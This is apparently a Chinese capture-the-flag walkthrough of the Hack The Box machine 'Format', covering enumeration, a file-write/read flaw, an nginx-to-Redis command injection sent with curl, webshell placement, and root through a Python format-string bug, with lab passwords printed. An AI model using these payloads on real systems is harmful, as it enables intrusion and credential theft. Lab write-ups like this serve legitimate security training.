Format
Nmap
┌──(root💀kali)-[~]
└─# nmap -A 10.10.11.213
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 02:41 EDT
Nmap scan report for localhost (10.10.11.213)
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c397ce837d255d5dedb545cdf20b054f (RSA)
| 256 b3aa30352b997d20feb6758840a517c1 (ECDSA)
|_ 256 fab37d6e1abcd14b68edd6e8976727d7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
nmap 结果,发现一个microblog.htb域名,添加到hosts文件
80端口访问不了404,3000端口访问为
有一套源代码,用git clone 命令下载下来
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Format]
└─# git clone http://microblog.htb:3000/cooper/microblog.git
Cloning into 'microblog'...
remote: Enumerating objects: 61, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (47/47), done.
remote: Total 61 (delta 4), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (61/61), 703.74 KiB | 70.00 KiB/s, done.
Resolving deltas: 100% (4/4), done.
扫描子域名
果断尝试扫描子域名
┌──(root💀kali)-[~]
└─# gobuster vhost -u http://microblog.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-1
10000.txt -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://microblog.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/05/14 02:47:08 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.microblog.htb Status: 200 [Size: 1588]
Found: app.microblog.htb Status: 200 [Size: 3976]
Found: sunny.microblog.htb Status: 200 [Size: 3732]
Progress: 114257 / 114442 (99.84%)===============================================================
2023/05/14 02:55:03 Finished
===============================================================
10.10.11.213 microblog.htb
10.10.11.213 admin.microblog.htb
10.10.11.213 app.microblog.htb
10.10.11.213 sunny.microblog.htb
一共4个域名
app.microblog.htb
这里有一个功能点是新增一个子域名,并且可以编辑这个子域名中一些内容
我们新增完子域名后,需要在/etc/hosts文件中添加解析才能访问到
点击edit site,可以修改header 和 txt
我们抓取到修改header的报文
发现可以读取文件内容
原因是
这一次请求把/etc/passwd写入到order_file这个文件中去了
当我们再一次访问这个页面的时候,就会触发fetchPage
这个函数
这个函数会调用
file_get_contents($line)
前面我们把/etc/passwd 写入到order.txt这个文件里面去了,所以这里读取到了/etc/passwd的内容
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
cooper:x:1000:1000::/home/cooper:/bin/bash
redis:x:103:33::/var/lib/redis:/usr/sbin/nologin
git:x:104:111:Git Version Control,,,:/home/git:/bin/bash
messagebus:x:105:112::/nonexistent:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
root:x:0:0:root:/root:/bin/bash
cooper:x:1000:1000::/home/cooper:/bin/bash
git:x:104:111:Git Version Control,,,:/home/git:/bin/bash
/etc/nginx/site-available/default
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##
# Default server configuration
#
server {
listen 80 default_server;
listen [::]:80 default_server;
# SSL configuration
#
# listen 443 ssl default_server;
# listen [::]:443 ssl default_server;
#
# Note: You should disable gzip for SSL traffic.
# See: https://bugs.debian.org/773332
#
# Read up on ssl_ciphers to ensure a secure configuration.
# See: https://bugs.debian.org/765782
#
# Self signed certs generated by the ssl-cert package
# Don't use them in a production server!
#
# include snippets/snakeoil.conf;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
# pass PHP scripts to FastCGI server
#
#location ~ .php$ {
# include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
# fastcgi_pass unix:/run/php/php7.4-fpm.sock;
# # With php-cgi (or other tcp sockets):
# fastcgi_pass 127.0.0.1:9000;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /.ht {
# deny all;
#}
}
server {
listen 80;
listen [::]:80;
root /var/www/microblog/app;
index index.html index.htm index-nginx-debian.html;
server_name microblog.htb;
location / {
return 404;
}
location = /static/css/health/ {
resolver 127.0.0.1;
proxy_pass http://css.microbucket.htb/health.txt;
}
location = /static/js/health/ {
resolver 127.0.0.1;
proxy_pass http://js.microbucket.htb/health.txt;
}
location ~ /static/(.*)/(.*) {
resolver 127.0.0.1;
proxy_pass http://$1.microbucket.htb/$2;
}
}
这里 有一个错误的配置,可以导致对内网中redis程序进行任意命令执行
Refer:https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/
也就是说原本的方法的位置(GET,POST)我们改为 redis的命令
而socket:后面绿色的部分 即为redis参数
┌──(root💀kali)-[/home/…/hacktheboxtools/machine/Format/config]
└─# curl -X "HSET" "http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:somebody%20pro%20%22true%22%20/d" -v
* Trying 10.10.11.213:80...
* Connected to microblog.htb (10.10.11.213) port 80 (#0)
> HSET /static/unix:%2fvar%2frun%2fredis%2fredis.sock:somebody%20pro%20%22true%22%20/d HTTP/1.1
> Host: microblog.htb
> User-Agent: curl/7.87.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 502 Bad Gateway
< Server: nginx/1.18.0
< Date: Sat, 24 Jun 2023 07:18:42 GMT
< Content-Type: text/html
< Content-Length: 157
< Connection: keep-alive
<
<html>
<head><title>502 Bad Gateway</title></head>
<body>
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
* Connection #0 to host microblog.htb left intact
curl -X "Redis Command" "http://microblog.htb/static/unix:<local Socket unix>:<Redis Table>%20<Redis Name>%20%22True%22%20/AnyThings"
我们已经成功变成了管理员权限
有了管理员的权限后就多了一个可以edit的标签
我们可以上传一个文件
直接这样上传发现失败了
protected function contraintsValidator()
{
/* check image for valid mime types and return mime */
$this->getImageMime($this->_files['tmp_name']);
/* validate image mime type */
if (!in_array($this->mime, $this->mimeTypes)) {
$this->error = sprintf('Invalid File! Only (%s) image types are allowed', implode(', ', $this->mimeTypes));
return false;
}
/* get image sizes */
list($minSize, $maxSize) = $this->size;
/* check image size based on the settings */
if ($this->_files['size'] < $minSize || $this->_files['size'] > $maxSize) {
$min = $minSize.' bytes ('.intval($minSize / 1000).' kb)';
$max = $maxSize.' bytes ('.intval($maxSize / 1000).' kb)';
$this->error = 'Image size should be minumum '.$min.', upto maximum '.$max;
return false;
}
/* check image dimension */
list($maxWidth, $maxHeight) = $this->dimensions;
$this->width = $this->getWidth();
$this->height = $this->getHeight();
if ($this->height > $maxHeight || $this->width > $maxWidth) {
$this->error = 'Image height/width should be less than '.$maxHeight.'/'.$maxWidth.' pixels';
return false;
}
return true;
}
这里有一段校验的代码
- 校验MIME
- 校验文件大小
- 校验图片的长和宽
实际MIME设置为png,Size最小为100,最大为3000000
但是我们又仔细看这里其实好像上传文件名被限制死为.png了
所以这个点不能利用
寻找利用点
provisionProUser
搜索isPro相关的内容的时候,发现这里有一个函数,是管理员才会调用就是
function provisionProUser() {
if(isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
给我们创建的blog的网站根目录 授予写的权限system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
这一句
先创建 /var/www/microblog/我们的创建的域名/uploads
这个文件夹
再给/var/www/microblog/我们的创建的域名/uploads
授权表示带有文件创建者具有 RWX的权限
add-header
if (isset($_POST['header']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
还记得前面这个地方我们是可以LFI的吗,同时他其实也可以写文件,id和header都是我们可以控制的参数
id控制写入的文件名,header控制写入的内容
再加上前面给uploads这个文件夹赋予了权限,所以我们尝试写shell
webshell写入
.创建了一个abcc的子域名
发起添加header的请求,修改id和header
成功执行命令
反弹shell
pspy
记得我们在web端进行操作的时候每隔一段时间我们的用户信息和创建的子域名就会被删除,我们上pspy看一下进程
等了老长一段时间
redis-cli
发现了redis-cli 连接 redis.sock
keys *
cooper.dooper
cooper.dooper:sites
type cooper.dooper
hash
type cooper.dooper:sites
list
hgetall cooper.dooper
username
cooper.dooper
password
zooperdoopercooper
first-name
Cooper
last-name
Dooper
pro
false
LRANGE cooper.dooper:sites 0 -1
sunny
先用keys * 来看有什么键值对
接着用type 命令来看 这个keys是什么类型的
- hash –> hgetall 查看对应的键的值
- usename–>cooper.dooper
- password–>zooperdoopercooper
- first-name–>Cooper
- last-name–>Dooper
- pro–>false
- list –> 用 LRANGE 来看
- 所以这个list里面只有一个sunny数据
LRANGE 命令用于获取列表中指定范围内的元素,其中第二个参数为起始索引,第三个参数为结束索引。如果将第二个参数设置为 0,将第三个参数设置为 -1,则表示获取列表中所有元素。
hash 类型
如果你想查看 cooper.dooper 哈希表中的所有字段和值,可以使用以下命令:
redis-cli HGETALL cooper.dooper
以上命令将返回 cooper.dooper 哈希表中所有字段和对应的值。
如果你只想查看 username、password、first-name 和 last-name 这些字段的值,可以使用以下命令:
redis-cli HMGET cooper.dooper username password first-name last-name
以上命令中,HMGET 命令用于获取哈希表中指定字段的值,其中第二个参数为要获取的字段名。
如果你想查看 pro 字段的值,可以使用以下命令:
redis-cli HGET cooper.dooper pro
以上命令将返回 cooper.dooper 哈希表中 pro 字段的值。
需要注意的是,在使用以上命令时,需要注意命令的使用方式和参数,以确保获取正确的信息。同时,为了保证 Redis 服务器的性能和安全性,需要对读取信息的操作进行适当的限制和控制。
list 类型
如果你想查看 cooper.dooper:sites 列表中的元素 sunny 的详细信息,需要先确定这个元素的位置(即索引)。可以使用以下命令来查找元素索引:
redis-cli LPOS cooper.dooper:sites sunny
以上命令中,LPOS 命令用于查找列表中第一个值与 sunny 相等的元素的索引。
如果 LPOS 命令返回的索引是 n,则可以使用以下命令来获取列表中第 n 个元素的详细信息:
redis-cli LINDEX cooper.dooper:sites n
以上命令将返回列表中第 n 个元素的值。
需要注意的是,在使用以上命令时,需要注意命令的使用方式和参数,以确保获取正确的信息。同时,为了保证 Redis 服务器的性能和安全性,需要对读取信息的操作进行适当的限制和控制。
username | password |
---|---|
cooper.dooper | zooperdoopercooper |
成功拿到user权限
root
cooper@format:/usr/bin$ sudo -l
Matching Defaults entries for cooper on format:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
cooper@format:/usr/bin$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable
#!/usr/bin/python3
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
if os.geteuid() != 0:
print("")
print("Microblog license key manager can only be run as root")
print("")
sys.exit()
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
#deprovision
if(args.deprovision):
print("")
print("License key deprovisioning coming soon")
print("")
sys.exit()
#check
if(args.check):
print("")
try:
license_key_decrypted = f.decrypt(args.check.encode())
print("License key valid! Decrypted value:")
print("------------------------------------------------------")
print(license_key_decrypted.decode())
except:
print("License key invalid")
print("")
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
最重要的就是这一行,使用了format
这里存在format格式化字符串漏洞,这也是本靶机名字的来源
Refer:
https://podalirius.net/en/articles/python-format-string-vulnerabilities/
https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/
其中密码是secret:unCR4ckaBL3Pa$$w0rd
尝试切换root成功